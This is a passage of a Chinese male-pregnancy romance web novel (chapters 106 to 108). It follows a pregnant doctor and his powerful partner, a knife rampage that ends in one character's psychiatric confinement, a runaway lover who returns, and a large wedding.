毕竟枫家主的餐桌礼仪一直周到, 从不擅自在吃饭的时候碰触手机。 看来是很重要的电话。 王齐那边则笑得分外可疑。 “跟我师傅学的。” 他大概将郁瑟当年帮助白梵装死的事情回忆了一遍。 有其师必有其徒嘛。 不用他明说,枫音尘也立刻想到了白梵的事情。 若说帮助他人装死,开火化证明书这一套, 郁瑟绝对是此道中的高手。 包括如何不动声色地处理一些棘手的问题。 王齐作为郁瑟的徒弟, 学到这些也不足为奇。 枫音尘想到这里,嘴角不禁勾起一抹淡笑。 他看向郁瑟,发现对方也正看着自己,眼神中带着几分探究。 结果, 郁医生“呕!!”了一声, 捂住嘴巴就开始往洗手间跑。 枫音尘也丢开手机, 跟着一起跑过去。 郁瑟已经将抽水马桶里难看的东西全部冲走了。 枫音尘不无担心道,“之前你也在早起的时候呕吐过,但没有最近这样频繁。” 说着, 将洗漱台上的漱口水倒进量杯,递给郁瑟时还特意抽了一张湿巾。 郁瑟接过东西,一边清理一边道,“没有关系,这是正常的妊娠反应,只要宝宝的发育是正常的,就不用担心太多。虽然有点辛苦,但这也是成为父母的必经之路。” 枫音尘闻言,眼神中闪过一丝温柔,他轻轻拍了拍郁瑟的背脊,趁人不注意,立刻将郁医生打横抱起。 郁瑟顿失平衡,不得不用双手抱紧对方的脖颈,他是知道某人力大无穷,只是现在被某人采用公主抱的方式,多少有些羞耻感。 枫音尘边走边说,“只生这一个,这辈子只让你辛苦一次,以后我都戴套。” 其实枫音尘想着,主要是瑟瑟怀着一位小公主,不然立刻给它弄掉,免得瑟瑟继续遭罪。 郁瑟的脸瞬时红了一半,他这话虽说得粗鲁,眼底始终充满毫无掩饰的疼惜与宠溺。 郁瑟说,“那我的枫公主岂不是要忍受很大的委屈?” 尤其某人那么喜欢弄到深深的地方,再以欣赏的目光盯着一点点流淌的感觉。 很难说不变态,但绝对够旖旎。 两人小声交谈着只有彼此才能听懂的小情话。 直到白梵出现在眼前。 因为郁瑟最近的胃口不好,所以一直由他来调整郁医生的营养搭配。 枫音尘属于完全不想看见他的心理状态,所以白梵过来询问郁瑟的时候,枫音尘直接将人抱走了。 郁瑟不得不提醒他,“白梵对我很好,他做得饭菜很和我胃口。” 也就幸亏是这样。 不然某人早已经被扫地出门了。 枫音尘只好对一脸忐忑不安的白梵说,“郁医生吃不了油腻的,以后全部做清淡营养餐。” 郁瑟只好从枫音尘的肩膀处露出抱歉的微笑,示意某人的矫情病犯了,不要介怀。 其实白梵知道是怎么回事,他虽然人笨笨的,经历了一场失败的情感,但是多少有自觉,大致猜到枫家主对他的厌恶。 来自于枫澄的追求。 白梵之前还挺伤心的,觉得自己遭遇了不公平,但是只要一想起郁医生怀孕了。 他就打从内心感到高兴。 所以,白梵目前的想法是,只要等伺候完郁医生的月子,他就会提出辞呈。 起码要做一个懂得知恩图报的人,才不枉费郁瑟冒着风险将他们父子救下的恩情. 不出两天时间,王齐那边给叶家传去了很不好的消息,说康城的病症已经恶化到了无法挽回的地步,恐怕时日无多。 这消息如同一记重锤,砸在了叶家管家的心上。 康城对于叶隧来讲,颇具有一定的意义,不仅代表着叶隧生命早逝的挚爱,也代表着他能获得心灵重生的依赖。 或许在叶隧心中,他对康城的恨里也都夹杂着说不清、道不明的情绪。 也许是有爱的,但不过是扭曲的情感。 可是康城这个人,对于整个叶氏家族的其他人来讲。 连个提鞋的佣人都不配,顶多称作个玩具而已。 叶管家害怕等叶少爷归家,得知康城病危的情况,免不了要拿一个开刀的倒霉鬼问罪。 试问,有谁想要做倒霉鬼呢? 所以叶管家立刻请示了叶家依旧健在的老爷子。 老爷子早知道家里的孙子玩得过火,一直睁一只眼闭一只眼得不管,是因为不值得跟一个玩物置气。 反正叶隧总得和家族里挑的女人结婚,传宗接代。 包括康城的姐姐康雅,在老爷子眼中也不过是一个低贱的玩具。 所以根本无需赘述,叶家的人沾过人血,从骨子里就是冷酷无情的。 叶老爷子直接说,“死就死了,一个男的整日里跟叶隧混在一起,别把我孙子给拐歪了。既然救不过来,就随便找个地方把骨灰扬了吧。” 叶管家听后,心中暗自庆幸,老爷子果然没让他失望,对这种小事根本不在意。 他立刻领命下去,准备安排人处理康城的后事。毕竟过去在叶家,一个人的生死,不过就是老爷子一句话的事。 叶管家深知这一点,所以做事向来干净利落,从不拖泥带水。 他想着,等处理完康城的事,好好安抚一下叶少爷,顶多是少了一个玩具的事情,还不至于闹出什么大事来。 所以康城的“丧事”办得很潦草。 王齐学着师傅曾经的样子,将一罐子乱七八糟的粉末扬进了海里。一同跟着的叶管家忽然有些感慨道,“尘归尘,土归土,康城一辈子都喜欢海,现在也算得偿所愿。” “我家少爷,从此也就再不亏欠他什么了。” 第106章 第 106 章 抓住打屁屁 屋外风雨交加, 伴随着雷鸣电闪,树枝在狂风中摇曳,仿佛要被连根拔起。 “少爷少爷您就饶了我吧” 凌乱的书房内, 一个中年男人衣衫沾血, 匍匐在地面不停地往门口爬行,他的脸上满是惊恐与绝望,声音颤抖着, 仿佛遇到了这世间最可怕的事情。 他的身后, 一名身着染血衬衫的青年男子手持尖刀,脸色阴沉如水, 眼神中透露出一股不容置疑的狠厉。 “是你把康城的骨灰撒进海里的, 是吗?!”叶隧如同黑暗中浮现的鬼魅,一步一个血脚印踩在后面。 叶管家的双手流血如注, 他真的是万万没有想到的, 叶隧会在半夜突然赶回家里,并且在见到自己的一瞬间便拔出刀来,给他的左右两手戳了几个血窟窿。 叶管家完全被吓傻了, 根本不知道自己哪里开罪了家里的少爷。 直到叶隧这句话脱口而出, 叶管家终于知道了原因,不停求饶说,“少爷,少爷!是康城自己寻死, 我当时可是将人送去医院救治的啊。” “少爷, 老爷子也同意了这件事情的, 再说人死事大,根本放不到你回来的啊!!” 人死事大?! 人死事大!! 叶隧的面孔早已狰狞如魔,他在港城意外知道了这件事后, 人就不正常的厉害。 适时,谭家的谭卓森触了他的霉头,谭卓森说,“反正死了一个玩意儿而已,若是叶少喜欢的话,我能再给你弄几十个过来。” 所以,叶隧反倒跟谭卓森当众撕破脸,拉动港城的人脉势力,狠狠给了对方致命一击。 谭卓森也因此受到了不小的打击,甚至一度被港城的人嘲笑。 但叶隧哪管这些,他此刻满心满眼都是康城的死,以及叶管家那不敢直视自己的懦弱模样。 “老爷子同意了又怎样?康城他是我叶隧的人,谁允许你们动他的尸体?!” 叶隧的声音低沉而沙哑,每一个字都像是从牙缝里挤出来的。 何况,还把人的骨灰给扬了!! 叶管家趴在地上,身体因恐惧而不停地颤抖,他深知自己这次是在劫难逃了。 叶隧的眼神愈发凶狠,他一步步逼近叶管家,手中的尖刀在灯光下闪烁着寒光。 “你,去死吧!”叶隧怒吼一声,挥刀便要向叶管家刺去。 就在这时,书房的门突然被推开,几个玄黑色的身影急匆匆地闯了进来。 是家里的保镖。 这些人身手敏捷,极快与持刀的叶隧扭打在一起,但是少爷疯的厉害,制服他也确实费了不少人。 这些保镖将面目恐怖的叶隧用长绳五花大绑起来,送去给叶家老爷子处理。 老爷子早已经被他气得脸色铁青,浑身颤抖,手中的拐杖在地上重重地敲击着,发出咚咚的声响。 他怒视着被保镖架进来的叶隧,眼中满是失望与愤怒。 “你这个逆子!怎么能做出这样的事情来?!康城他已经死了,你居然还要跟一个玩意儿纠缠不休,你还有没有一点身为叶家掌权人的觉悟?!”老爷子的声音颤抖着,每一个字都像是从心底发出的怒吼。 叶隧被绑得动弹不得,但他依然挣扎着,眼中满是疯狂与不甘。 “他是我叶隧的人,谁也不能动他!谁也不能!” “我不要他死!没有我的允许,谁准他擅自死的!!” 他嘶吼着,仿佛要将所有的愤怒都发泄出来。 老爷子看着他这副模样,心中更是悲痛万分。 他深知自己的这个孙子已经走火入魔,无法自拔了。 这个已经不中用了,看来,叶家只能再换一个新的继承者! “把他给我送去精神病院关起来,没有我的命令,谁也不许放他出来!”老爷子狠狠地命令道。 保镖们应声而动,将叶隧拖了下去。 叶隧一边被拖拽着,一边疯疯癫癫地喊着。 “没有我的允许,康城他怎么敢死!没有我的允许!!” “康雅!!康雅!” 叶隧的神经经受了很大的刺激似的,双眸不停在血红之中泛起暗涌。 他冥冥中,似乎是在门口看见了康雅,但又不怎么像的样子。 因为康雅一把拉开了头顶的假发,用手背擦拭去了面部的彩妆。 露出康城那一张明媚阳光的笑脸。 “康康城城城” 叶隧的声音变得如泣如诉,人也似乎没有那么充满暴戾的气息,而是换了一副极其委屈的样子。 “城城” 叶隧连嘴唇也失去了温度,声音沙哑得几乎不成调。 他踉跄着想要挣脱保镖们的拉扯,结果只是徒劳,双腿双膝被撞得生疼,发出沉闷的声响,但他顾不上这些,只是死死盯着眼前虚离的人影。 康城轻轻歪头,声音如春日的微风般和煦:“叶隧,你怎么把自己弄成这样?”他伸出手,想要抚摸某人憔悴的脸颊。 但是一个瞬间,康城似乎改了主意,并没有将手伸出来,而是紧紧地收敛了起来。 “为什么不愿意碰触我……”叶隧咬碎了牙齿,不停地从嘴角冒血,双手胡乱地抓着地面,指节因用力而泛白。 他的眼神变得癫狂又绝望,泪水混着雨水从脸上滑落,“你明明就在这里!为什么不愿意碰我!” 他开始疯狂地捶打着地面,指甲缝里渗出血珠,却浑然不觉。 康城对他露出一点意味不明的表情,最终没有做最后的告别,转身离开,虚离的身影也开始变得模糊。 叶隧惊恐地大喊:“别走!求你别走!” 他在与保镖们的扭拒中,额头重重磕在台阶上。鲜血顺着额头流下,滴落在白色大理石上,开出一朵朵妖冶的花。 可叶隧顾不上疼痛,居然爬起来想要追逐那道即将消散的身影。 但是被其他保镖死死摁住。 “城城!你不要死!我错了!我早已经爱上你了!你不要走!”叶隧的声音撕心裂肺,在空旷的别墅里回荡。 听从叶老爷子的指使,保镖们将叶隧送去了一处隐秘的神经病院,那里也算是谁家的一处产业。 叶隧被强制性地注射了镇静剂,身体逐渐软绵无力,只能任由医护人员摆布。 他被关进了一间单调而冷清的病房,四周是白色的墙壁和铁窗,空气中弥漫着消毒水的刺鼻气味。 可他的嘴里始终喊着一个人的名字。 “城城,城城。” 负责接管他的护士不禁叹了口气,与另外一个护士交流道。 “怎么最近关进来的都是大帅哥,而且还都是痴情种。” 对面的护士手里也接管了另外一个疯疯癫癫的病患。 那个病患原本是龙城陆家的少爷,不知怎么发了疯,也是被家里像弃子一般丢到这里来的。 好像叫做……陆云辰。 小护士每天都听他喊着“白梵,白梵,你小心一点,不要摔倒了,你怀咱们的孩子,要小心一点啊。” 这下子好了,这对病友还挺登对. “啊!”白梵被梦中的场景吓了一跳,整个人汗流浃背的样子,像是刚从水里捞出来的。 他梦见陆云辰拿着刀,一刀子捅进了枫澄的心脏,枫澄还回头叫他快跑,不要回来。 这个梦委实太真切了,以至于白梵像是被人掐死了喉管,半天喘不过气来。 他猛地睁开眼睛,发现自己还躺在卧室的小床上,宝贝儿子正在旁边的小床上呼呼大睡。 窗外透进来的月光洒在地板上,一片银白。 他抬手摸了摸额头,满手的汗水,心跳也还在剧烈地跳动着。 回想起梦中的场景,白梵心有余悸,陆云辰杀死枫澄的画面,像是魔咒一般在他脑海中盘旋。 他起身走到窗边,望着外面寂静的夜色,心中涌起一股莫名的烦躁和不安。 白梵知道,自己必须做些什么,他一直选择逃避,但是逃避根本不是办法。 尤其,当他看到枫澄流血的样子时,整个人都快害怕到碎裂的程度。 在他生命中出现的两个男人互相以命相拼的瞬间。 白梵明白了。 他早已经不爱陆云辰了,他的感情早已经发生了偏移。 只是! 他根本配不上枫澄,根本配不上! 或许,他是时候该做出决定了,为了自己,也为了身边所爱的人。 他不能继续生活在这种恐惧和自卑之中,更不能让过去的情感纠葛影响到现在的平静生活。 白梵深吸一口气,试图让自己的心情平静下来。他知道,这不仅仅是为了自己,更是为了他的宝贝儿子,他不能让儿子生活在任何消极的环境中。 郁医生,对不起了,我不能亲自看着你的孩子出生了。 抱歉。 他转身回到卧室,开始收拾行李,他决定暂时离开这个城市,去一个没有人认识他的地方,好好整理自己的思绪,重新开始。 在离开之前,他给枫澄写了一封信,故意藏在了自己房间的抽屉里。 可能,当枫澄发现这封信的时候,他已经远走他乡了。 这样,才是最好的。 白梵给郁瑟准备好了早晨起床要吃的早点,虽然不能与救命恩人很好地告别,但他希望这份心意能多少弥补一些遗憾。 然后,怀里抱着酣睡的儿子,踏入滚滚暗夜之中。 郁瑟最近的孕吐变得越来越厉害,所以每天上班的时间不得不往后延迟了一个小时。 而且,他现在的肚子倒是能藏得住,但是等显怀的时候,就需要彻底请假了。 主要是郁瑟有些不好意思挺着肚子去医院,倒不是说他故意隐瞒自己怀孕的事实,他现在特别与林宇良感同身受,觉得特别不好意思在熟人面前展示自己的怀孕能力。 太羞耻了。 所以,郁瑟早晨被枫音尘扶着去吃早点的时候,还特别跟他调笑说,“这个孩子一看就不爱睡懒觉,大清早开始闹腾。” 枫音尘也心疼极了,因为怀孕孕吐严重的关系,郁瑟已经骤然间减重十斤左右。 “我现在真想把它抓出来,好好给拍一顿小屁股,瞧把它爹咪给折腾成什么样子了。” 如此的玩笑话,倒是挺让郁瑟受用的。 两人刚坐上餐桌,枫澄便像是一匹受了惊吓的野兽般,横冲直闯地 冲进了餐厅,一脸焦急和慌张。 他大口喘着粗气,仿佛刚刚经历了一场生死时速。 郁瑟和枫音尘被这突如其来的状况吓了一跳,手中的餐具都不由自主地停了下来。 “怎么了,枫澄?出什么事了?”郁瑟尘连忙站起身,准备迎上去时,被枫音尘摁住肩膀。 枫澄的眼神中满是质疑,看见枫音尘的时候,似乎还裹挟着一丝质问。 “白梵不见了,连孩子也不见了。” 他从口袋里掏出一份手写信,丢在枫音尘的面前,声音冷峻道,“本来好好的人,为什么会突然不告而别呢?” 枫音尘用手里的筷子嫌弃地拨开了一下,“一个无关紧要的人而已,走了便走了,难道还需要开个欢送会?” 第107章 第 107 章 搂着你小婶婶睡觉 枫音尘是整个枫家的实际掌权人, 年纪轻轻便掌控了家族的兴盛,对于枫家的三个侄子来讲,他便是这个家族最至高无上的存在。 不可反抗、不可违背、不可挑衅! 枫澄之前就饱受过枫音尘的管教, 算是三兄弟里挨过皮鞭最多的人。 从这个方面来讲, 他尊重着枫音尘至高无上的地位,也愿意心甘情愿地服从小叔叔的各种安排。 可是,这并不代表他所有的意愿都会无条件地服从。在某些关乎个人原则与情感的问题上, 枫澄也有着属于自己的坚持和底线。 所以枫澄怒了, 自成年以来第一次打从内心深处感受到强烈的恼怒。 “其实是你赶走的白梵,对吧?!”枫澄一把扯开餐桌底下的红木椅子, 在大理石地面摩擦出刺耳的声音。 枫音尘立刻将郁瑟抱住, 同时用手掌堪堪地捂住郁医生鼓起的腹部。 “小声一点儿,你自己也是做大哥的人了, 别吓到小宝宝。”枫音尘的声音带着不容置疑的威严, 眼神里更是透着一抹警告。 枫澄深吸一口气,努力平复自己的情绪,但那双紧握的拳头仍然泄露了他的愤怒。“小叔叔, 我知道你一直不喜欢白梵, 但是白梵是我认定的人,你” “你这属于暂时的眼盲心瞎,”枫音尘猛地打断了他,“枫澄, 你是家里的长子, 从小严格要求自己做枫羽和知乐的表率, 所以从小缺少应有的关爱,白梵那样的人性格温柔,刚好填补了你的空缺。” “你现在觉得他好, 可是万一有一天,你真正的灵魂伴侣出现了,当那个人出现的时候,你还能像现在这样从容地说,你爱的人,选择的人是白梵吗?” “枫澄,你是我从小看着长大的,我对你一向比其他两个严格许多,你身上现在还应该残留着我抽过的皮鞭痕迹” 枫音尘的内心同样一片翻涌,话语中带着几分心疼的意味,但更多的是对枫澄未来的深深忧虑。 他放开郁瑟,主动走到枫澄面前,目光如炬,仿佛要看穿枫澄的内心。 “阿澄,人生路上,我们会遇到许多人,有的如流星划过,短暂而璀璨;有的则如同恒星,长久地照亮我们的世界。白梵于你,或许现在就是那颗看似璀璨的流星,但你是否真的确定,他就是那颗能与你并肩,共度余生的恒星?” “小叔叔?” 枫澄用力地凝视着枫音尘,他一直以为对方看不上白梵,主要是因为对方的家庭地位,包括孩子的问题。 没想到,枫音尘考虑的却是另外一个层面的问题。 枫澄不得不反问一句,“小叔叔,你可有预见未来的能力?” 这 郁瑟在一旁听着,几次三番都想要插嘴,但是又一想这场争辩应该属于枫家人的家务事,他暂时并不适合参与进来。 但是枫澄的第六感还是异常敏锐的。 枫音尘连声否决,“这怎么可能?我只是做出一个假设而已。” “既然是假设,”枫澄露出一抹冷酷的微笑,“那我建议你完全没有必要担心了,因为我已经认定了白梵,所以根本不会有什么灵魂伴侣的存在。” 即使有那样的一个人存在 枫澄起身,与枫音尘的体型不相上下,曾经他也喜欢仰视自己的小叔叔。 现在不用了。 他已经是枫家钦定的接班人,是挑起一个家族兴旺的重担之人。 枫澄的语气中带着不容反驳的威严:“我已经是一个成熟的男人了,这一点,完全不需要你再继续替我操心了。” 没错,我已经不再需要你的保护了。 枫音尘被他浑身散发出的气场震慑住,半天没有动弹一丝一毫。 而扭开脖颈,显得一脸冷傲道,“我真的没有驱赶过白梵,这一点不准许你随便质疑我。” 枫澄长身一立,说了声,“我知道了。” 大手往桌面一扫,顺利地捏走白梵那一张告别信,转身大步走开。 “这这这” 枫音尘不能说很生气,但绝对是有些气恼的,他在原地转了一圈,似乎想要找到一个发泄的出口。 郁瑟同样起身,将人摁住问,“怎么了,你还是第一次这么犹犹豫豫的?” 枫音尘感觉自己说不清楚,将郁瑟搂回了自己的卧房,从床头的保险柜中取出那一本摩挲至发黄的小说拿了出来。 “这剧情跟小说内容彻底对不上了。” 枫音尘熟练地翻开一页,递给郁瑟去看。 郁瑟赫然看到了关于枫澄的剧情安排。 枫澄在恒基坐稳地位后,成为了枫家新一代的领军人物,不仅掌握了家族的核心业务,更是在商场上展现出非凡的手段与智慧。 在此时,会出现一个与枫澄能力不相上下的人物,这个男人更加的冷静、睿智,在生意场上与枫澄经常针锋相对,两人间的较量几乎成了业界公开的秘密。 结果枫澄被这个男人的独特魅力深深吸引,在不自觉的情况下爱上对方。 奈何这个命里的冤家居然是个直男。 枫澄的感情线一直坎坷,经过了七八年的时间,才最终跟自己的灵魂伴侣携手。 而且 还与对方生了两个孩子。 当然,是枫澄来生。 枫音尘现在只想臭骂慕酌月这个王八蛋,是不是写男人怀孕有瘾,怎么把他们老枫家的男人都写成能怀孕的奇异体质?! 枫音尘其实是很心疼枫澄这个孩子的,因为这个孩子从小懂事,又有能力。 所以他才对这个侄子格外严苛,希望历练枫澄的坚毅品格。 郁瑟耐心地看完十几章内容,而后推开卧室外的落地窗户,拉着枫音尘走到了阳台上。 郁瑟说,“是时候了,音尘。” “什么时候?”枫音尘不得不用手臂紧搂住他,避免郁医生穿得单薄,被寒风吹得瑟瑟发抖。 郁瑟拒绝了他的美意,将小说拿在手里摇晃,“是时候烧掉这本书了,你和我一起来烧。” “什么?”枫音尘确实有答应过他的,只是没想到郁医生为什么突然又提起这件事。 郁瑟道,“我知道你真正的担心是什么?” “你怕枫澄是主要人物,擅自改变了剧情线,会造成什么不好的后果。” 可是。 “剧情线早都已经发生变化,很多人的轨迹已经偏移了,但是目前并没有什么不好的事情影响我们,不是吗?” 郁瑟提来了一个垃圾桶,枫音尘唯恐他扭到腰,赶紧抢来自己提。 郁瑟说,“其实你有没有做过这样的假设,假如这本书里,你和我并不是爱人,而是陌生人,你会像担心枫澄会干扰一样,远远地离开我吗?” “不会,这怎么可能!!”枫音尘才不要郁瑟讲出这种可怕的假设,“假如在这本书里,你我的安排是陌生人的话,我大概会想尽一切办法认识你,然后不顾一切地追求你,让你成为我的爱人。” 枫音尘紧紧握住郁瑟的手,一丝一毫都不愿意分开。 郁瑟微微一笑,眼中闪过一片暖意,“我就知道,不管怎样,你都不会放弃我。” 枫音尘认真地点点头,“是的,瑟瑟,对我来说,你就是我的全部。我不会让任何事情,任何人,将我们分开。” 郁瑟轻轻拍了拍他的手背,“好了,不说这些了。现在,让我们来烧掉这本书吧,也许这样,我们都能真正得展开全新的生活。” 他最后一句话说得很重,像是特意强调着每一个人都该追求些什么。 例如枫澄、枫羽、白梵、林宇良,例如很多很多的人。 未来皆是可能。 两人一起将那本小说投入了垃圾桶中的火焰中。 火焰迅速吞噬了纸张,化作一缕缕黑烟升向天空。 他们默默地注视着这一切,直到火焰完全熄灭,只剩下灰烬在垃圾桶中静静躺着。 没过两天。 枫澄将白梵和孩子找了回来,其实白梵都已经快要进入其他城市了,被枫澄的人顺利拦截。 枫澄采用了各种办法,才将白梵又给劝了回来,两人也悄悄约定好,假如他们的关系继续遭受枫音尘的阻碍。 干脆搬出去住。 白梵表面上像是被说服了,但实际上内心害怕得紧。 他知道自己当初识人不清,早早得给陆云辰生了孩子。 可是人是会变的。 他现在真的是喜欢着枫澄,并且愿意平等地、自由地经营一场只属于他们两个人的爱情。 而不是像之前那样,被陆云辰掌控得死死的。 但一想到枫音尘那张冷厉的面容,还有枫澄之前所承受的种种,白梵就忍不住有些颤抖。 这个念头一旦升起,就再也挥之不去,让白梵心神不宁极了。 枫澄看出了他的异样,却也只是温柔地抱着他,告诉他不要害怕,一切都有他在。 白梵靠在枫澄的怀里,听着他有力的心跳,感受着那份真实的温暖,才稍稍安心了些。 两人走到了客厅,枫音尘正在诡异地给郁瑟削水果。 像他那一双漂亮极了的手,捏着刀的画面理应是世界名画级别的。 现在却觉得,枫音尘在每下一刀的时候,都跟他的指根完美地擦过。 不完美地话就连根切掉了。 而郁瑟面前的果盘里,摆着各种奇奇怪怪的形状,有苹果块、火龙果丁儿、香蕉丝和草莓泥。 枫澄冥冥中感觉,还能在上面插两根手指。 枫音尘像是削烦了似的,将手里的刀子直接递给白梵,语气不耐道,“还是你来吧,瑟瑟喜欢吃你削的果盘。” 白梵捏着刀,不知道该如何接话。 郁瑟则一把拉住他的手,将人拉到沙发里坐好,贴着白梵笑道,“以后不要乱跑了,这里就是家,你还有我啊。” 枫音尘则一把扯住枫澄的衬衫一角,满是嫌弃道,“瞧你这点本事,又不是需要追妻火葬场,怎么弄得灰头土脸?” 又说,“公司里立即要签字的文件都给我搬走,晚上我要搂着你小婶婶睡觉呢,没空给你擦屁股!” 第108章 第 108 章 大鸟依人 白梵和枫澄经历过这一次的插曲, 彼此也更加确定了对对方的感情。 对于某些人来讲,过日子不必追求惊涛骇浪的壮阔,平凡日子里的相互托举, 互相能在时光的褶皱里, 写满关于“圆满”的注解。 所谓温馨与甜蜜,从来不是刻意营造的盛大,而是于细微处扎根的理解。 这或许才正是生命最温柔的哲学:你懂我的欲言又止, 我知你的言外之意, 如此,便抵得过世间所有的波澜。 白梵和枫澄深知这一点, 他们并不追求那些浮华表面的浪漫, 而是更加珍惜彼此间那份平淡却真挚的情感。 郁瑟也总是劝枫音尘要想开一点,既然枫澄现在就能获得更好的幸福, 为什么要去追求十年之后, 饱受磨难的幸运呢? 枫音尘其实早已经想明白了,既然枫澄已经是能对自己负责的成年人了,自然不需要他再添口舌。 枫家主只是格外喜欢郁瑟对他语重心长。 直到有一天, 郁医生真正地反应过来这件事, 狠狠地捶了对方一把,佯装气闷道。 “你既然已经不反对枫澄和白梵在一起的事情,为什么还要我在你耳边唠叨?” 枫音尘则哈哈大笑说,“因为这个世界上, 最好听的话, 就是枕边风。” 彼时郁瑟的肚子已经再也遮掩不住了, 只能穿很宽松的衣服。 不过他的心境也有了转变。 在他和枫音尘之间经历了如此多的事情之后,郁瑟觉得其实真爱一个人,是不需要伪装的。 包括怀上这个人的孩子, 更加不需要隐瞒。 为此,郁瑟不但挺着肚子坚持上班,还专门替医院做了一次的男性怀孕的宣传,建议那些受孕的男性完全不必将自己隐藏起来。 男性怀孕并不是个例,更不是一件羞耻的事情。 相反,它应该被视为一种生命的奇迹,是爱的见证。 郁瑟希望通过自己的亲身鉴证,能够让更多的人理解和接受这一现象,让那些正在经历同样情况的男性能够勇敢地站出来,享受他们应有的权利和幸福。 他的这一举动,不仅赢得了医院同事的赞赏,也在社会上引起了广泛的关注和讨论。 人们开始重新审视和思考关于爱情、性别和生命的定义。同时也有很多医疗研究机构,决定要和郁瑟组成团队,协作研究男性怀孕这一课题,以期能够为这一特殊群体提供更好的医疗服务和支持。 郁瑟的行动,无疑为推动社会对男性怀孕现象的理解,和接纳做出了积极的贡献。 郁瑟和枫音尘的婚礼也终于提上日程,郁瑟还开玩笑说,以为自己得等到肚子卸了货,才能跟枫音尘完成典礼。 枫音尘确实也有此意,而且他原本的计划是,要在百年难得一见的流星雨来临时,跟自己的白月光完成共度一生的重要典礼。 谁想枫澄无意间提了一嘴,叫他直接推翻原定计划,立刻要结婚。 起因是,枫澄问了一下枫音尘的婚期,然后说着假如小叔叔准备等小婶婶生产完之后再做准备的话。 他可不可以先插个队? 因为白梵经历了陆云辰那个渣男之后,特别缺乏安全感,而且白遇安也该上户口了,枫澄希望能先把婚结了,给孩子老婆一个安稳的生活环境。 枫音尘一听便不高兴了,这个家没有他早散了,怎么还有人舔着脸皮要跟他争先抢后? 不行,他也很着急。 ╭(╯^╰)╮ 枫音尘跟郁瑟好好地谈判了两天,希望能提前举办。 郁瑟直接给气笑了,“先前肚子看不出来的时候,你说要等流星雨,现在肚子这样大” 郁医生很不好意思地将肚子挺起来给他看,圆鼓鼓的,明显的胎动让枫音尘瞬间平息了激动,换作另一种欣喜的表情。 伸手轻轻覆在郁瑟圆滚滚的肚皮上,感受着里面小生命的跃动,心中澎湃如潮。 枫音尘用性感的嘴唇贴着肚皮鼓起来的位置,像是跟宝贝商量说,“那让宝宝来做决定吧,是想爸爸和爹咪现在就结婚,还是等以后一边看流星雨,一边鉴证我们的婚礼?” 不知是不是父子连心的原因。 原本只是微微鼓起来一个圆包包的肚皮,忽然像从里面掀起惊涛骇浪般,剧烈地波动起来,仿佛小生命也在为这个问题激动不已。 感觉大闹天“宫”也不过如此。 枫音尘吓坏了,连忙抱住郁瑟不停起伏的肚皮,小声安抚着,“好好好,就听你的,你不要再乱跳了,不要把爹咪的肚皮跳破了。” 嘘了一口凉气,朝郁瑟眨眨眼说,“这不是一位公主吧?这是猴子变的吧?” 终于说服郁瑟将婚礼提前。 两人开始紧锣密鼓地筹备婚礼,从选场地、订婚服到邀请宾客,每一步都亲力亲为,力求完美。 枫音尘更是亲自设计了婚礼的每一个细节,从入场的花门到舞台的背景,都融入了他对郁瑟深深的爱意。 他希望通过这场婚礼,向全世界宣告他对郁瑟的爱,以及他们即将迎来的新生命。 而郁瑟虽然有些疲惫,但心中却充满了甜蜜和期待。 婚礼正式开始。 作为郁瑟的娘家人,除了爱徒王齐,慈康医院里的医生、护士全部到齐了。 还有郁瑟所有救治过的产妇团,纷纷抱着自己家的健康宝宝前来观礼。 当然,也包括郁瑟帮助过的杜景恒、林宇良、萧君耀、白梵,以及几位不方便出席的人,统统带着不同的祝福方式送上祝福。 枫音尘身后只有枫澄和枫羽,显得势单力薄。 枫音尘抱着捧花,很不满道,“这个知乐小子呢?他怎么敢跑到对面去的?” 郁瑟背后站满了人,每一个都怀里抱着小孩,咿咿呀呀的,看起来热闹极了。 枫知乐抱着他家的芽芽公主,凑在郁医生身边说,“我已经嫁人了,现在完全不必担心小叔叔,我和君耀就是小婶婶忠实的后盾。” 郁瑟瞧着枫音尘孤零零地领着两个侄子,没良心地笑了半天。 没办法,谁让他接生的孩子还多了,其中好几位都是顶级豪门继承人,相当于一整个龙城的豪门圈子,都被他“接生”了个遍。 今天这场婚礼,简直就是龙城小半壁江山的聚会。 郁瑟笑够了,主动挺着肚子慢慢走近枫音尘,言笑晏晏朝枫音尘说,“以后你若是敢对我不忠,我身后的人都会给你沉重的教训。” 枫音尘才不管有多少双熟悉的眼睛盯着自己,一把搂住郁瑟的后颈,热切地亲吻上去,直亲得一群乌泱泱的观众面红耳赤。 他的嘴角轻柔地挂起微笑,唇珠还在不停地与郁医生的摩擦生热。 喃呢着说,“永远不会有这样的事情发生。” 言罢,枫音尘从手捧的花束里拿出早已经隐藏在里面的小黑蛇。 一见是蛇。 站在郁瑟身后的众人不自觉惊呼一声,暗自惊嚷着往后退了几步距离。 不过这毫不影响婚礼现场最重要的两位新人。 枫音尘将伊尔曼郑重其事地缠在郁瑟的手腕上,小黑蛇也分外喜欢,嘶嘶地吐着红舌。 他说,“假如我对你的爱,完全没有超过你的预期,你可以让伊尔曼来惩罚我。” “我的生命就在伊尔曼的手上。” 曾经的确如此。 “我的命从此以后,都在你的手上。” 言罢,将此生挚爱拥入怀里,再次忘情地拥吻起来。 作为枫音尘的终极死对头,杜景恒表示他要被某人甜腻的告白恶心到了,不由回头跟林宇良吐槽。 哪知,林宇良已经被眼前的甜蜜感动到热泪盈眶,毕竟他的生命是郁瑟挽救的,郁医生的幸福比他自己的更加重要。 没有得到回应的杜景恒讪讪地将视野调转回来。 却发现枫音尘原本空荡荡的背后,伴郎又少了一位。 嗯 好像是他的二侄子,叫枫羽。 此时此刻的枫羽早已经被人扯到了礼堂的外面。 枫羽一看见来者的面孔,简直快要恨得把牙咬碎了。 谭墨越终于肃清了谭家的所有阻碍,成为了控制港城所有港口的终极大佬。 接下来,他就是要立刻回来龙城这边,找枫羽哥哥报喜。 哪知枫羽早恨上了他,一瞧见是这位,立刻抽开自己的手腕,狠狠道,“这位先生似乎认错人了,我又不认识你。” 谭墨越为了顺利接管谭家,很多次出生入死,就是为了能早一点回来看一眼心心念念的人。 结果对方根本不理睬自己,甚至还装不熟,立刻委屈巴巴地扒住枫羽的肩膀,像一块浑身高级货的狗皮膏药一样开始耍赖道。 “羽哥,羽哥,你不能不要我啊?!” “我是石头,你最心爱的石头啊!” 枫羽真是铁了心要跟他一刀两断似的,斩钉截铁回复说,“什么叫最心爱?请谭先生不要擅自给自己加词,也不要随便骚扰我。” 他的手一点也没留情,握成一个紧实的拳头,狠狠地砸在谭墨越的面侧,气喘吁吁道,“今天是我小叔叔的大喜日子,假如不想死的话,请你赶紧离开!” 